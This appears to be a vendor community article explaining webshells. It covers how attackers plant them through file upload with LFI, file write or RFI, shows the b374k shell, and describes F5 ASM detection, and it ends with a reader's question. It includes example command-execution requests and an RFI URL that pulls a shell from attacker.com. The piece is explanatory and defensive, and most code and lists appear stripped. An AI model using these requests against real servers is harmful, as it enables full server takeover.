01-Sep-2014 05:29 - edited 23-Jun-2022 09:35
Webshells are web scripts (PHP/ASPX/etc.) that act as a control panel for the server running them.
A webshell may be legitimately used by the administrator to perform actions on the server, such as:
Therefore, a webshell simplifies server management for administrators that are not familiar with (or are less comfortable with) internal system commands using the console.
However, webshells have bad connotations as well – they are a very popular post-exploitation tool that allow an attacker to gain full system control.
An example of a webshell may be as simple as the following script:
This script will read a user-provided value and pass it on to the underlying operating system as a shell command.
For instance, issuing the following request will invoke the ‘ls’ command and print the result to the screen:
http://example.com/webshell.php?q=ls
An even simpler example for a webshell may be this:
This script will simply use the contents of the parameter “q” and evaluate it as pure PHP code.
Example: http://example.com/webshell.php?q=echo%20("hello%20world")%3B
From this point, the options are limitless.
An attacker that uses a webshell on a compromised server effectively has full control over the application.
If the web application is running under root – the attacker has full control over the entire web server as well.
In many cases, the neighboring servers on the local network are at risk as well.
We’ve now seen that a webshell script is a very powerful tool.
However, a webshell is a “post-exploitation” tool – meaning an attacker first has to find a vulnerability in the web application, exploit it, and upload their webshell onto the server.
One way to achieve this is by first uploading the webshell through a legitimate file upload page (for instance, a CV submission form on a company website) and then using an LFI (Local File Include) weakness in the application to include the webshell in one of the pages.
A different approach may be an application vulnerable to arbitrary file write.
An attacker may simply write the code to a new file on the server.
Another example may be an RFI (Remote File Include) weakness in the application that effectively eliminates the need to upload the webshell on to the server.
An attacker may host the webshell on a completely different server, and force the application to include it, like this:
http://vulnerable.com/rfi.php?include=http://attacker.com/webshell.php
There are many and various implementations of webshells.
As mentioned, those are not always meant to be used by attackers, but also by system administrators.
Some of the “suspicious” webshells that are more popular with attackers are the following:
In this article we will explore an open source webshell called b374k (https://github.com/b374k/b374k).
From the readme:
This PHP Shell is a useful tool for system or web administrator to do remote management without using cpanel, connecting using ssh, ftp etc. All actions take place within a web browser
Features:
Once we get the webshell up and running, we can view information and perform actions on the server.
Listed below are a few use cases for this webshell that will demonstrate the power of webshells and how attackers can benefit from running them on a compromised web server:
The F5 ASM module uses detection and prevention methods for each variation of this attack.
For RFI (Remote File Include):
For Unrestricted File Upload + LFI (Local File Include):
" If the webshell is already on the server, ASM will detect when the application tries to reach the file using LFI and prevent access. If the webshell is already on the server and part of the application, ASM will detect when a suspicious page is requested, and prevent that page from being displayed. "
Could you please elaborate these two examples and explain how ASM can be configured to do this?